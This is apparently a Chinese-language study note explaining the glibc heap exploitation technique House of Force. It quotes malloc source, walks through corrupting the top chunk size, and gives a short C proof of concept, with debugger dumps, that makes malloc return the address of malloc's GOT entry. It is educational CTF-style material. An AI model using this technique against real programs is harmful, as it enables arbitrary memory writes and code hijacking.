Day6 - House of Force

先把知识点刷完,然后做题练习,加油orz

参考

CTF wiki

原理

House of Force的使用,主要是跟top chunk相关。通过修改top chunk的size为一个很大的值(-1),然后通过malloc修改top chunk指针的位置,从而实现任意地址任意写。

在glibc中,会对用户请求的大小和top chunk的size进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

如果能把size改成一个很大的值,这样就能轻松通过验证。一般来说会把top chunk的size改成-1,因为比较是无符号数的比较,因此-1就是最大的unsigned long的值。

1
2
remainder      = chunk_at_offset(victim, nb);
av->top = remainder;

通过验证以后,top chunk的指针就会更新,这样接下来申请的堆块就会分配到这个位置。即用户如果控制了av->top这个指针,就能实现任意地址任意写。

同时,top chunk的size也会更新

1
2
3
4
victim = av->top;
size = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

所以在进行分配的时候,需要计算号remainder_size的值,要确保其大于下次分配的大小+MINSIZE。

在修改好top chunk的size之后,接下来的malloc就是为了修改top chunk的指针指向想要改写的位置。

对于用户分配大小的计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

首先要先通过REQUEST_OUT_OF_RANGE(req)这个检测,即我们传给malloc的值在负数范围内,不得大于-2*MINSIEZ,这个一般都是可以满足的。

同时,我们需要使得request2size正好转换为对应的大小,也就是使得((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK正好我们想要的大小。

还有就是,在top chunk被修改的同时,其目标位置附近的内容也会被修改。

1
2
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));

总结

House of Force的利用条件还是很苛刻的。

  • 需要存在一些漏洞来控制top chunk的size域
  • 需要用户能够自定义malloc分配的大小
  • 分配的次数不能够限制

一般来说,程序都会控制malloc分配的上下限。所以条件还是很麻烦滴。

栗子

一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
unsigned long long int *p = malloc(0x10);

p[3] = -1;

malloc(0x601018 - 0x602020 - 0x10);

void *tar = malloc(0x10);

//printf("%p",tar);

return 0;
}

这个程序目标是修改malloc@got.plt,已知malloc@got.plt在0x601028处,在分配完第一个chunk之后,内存如下

1
2
3
4
0x602000:	0x0000000000000000	0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

修改后

1
2
3
4
0x602000:	0x0000000000000000	0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

可以看到top chunk的位置在0x602020处,这样我们计算偏移的时候为(0x601028-0x10) - 0x602020 - 0x10。然后进行malloc。在这次malloc之前,可以看到top chunk的位置还是正常的

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <== top chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

在malloc之后,top chunk的位置已经修改了

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <== top chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

这样,下一次分配出来的地址,就是目标地址了(可能有一点出入,因为对齐的缘故)。

1
2
3
4
5
6
7
8
9
10
11
 RAX  0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7ffff7a91130 (malloc) ◂— push   rbp
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
...
───────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────
...
0x40055c <main+54> call malloc@plt <0x400410>

► 0x400561 <main+59> mov qword ptr [rbp - 8], rax <0x601020>
0x400565 <main+63> mov eax, 0
...

可以看到分配出来的chunk已经是0x601020了,这样就能修改malloc@got.plt了。

利用House of Force,不仅可以放低top chunk,也可以太抬高,只是计算的偏移有所不同而已。

题目

[咕咕咕]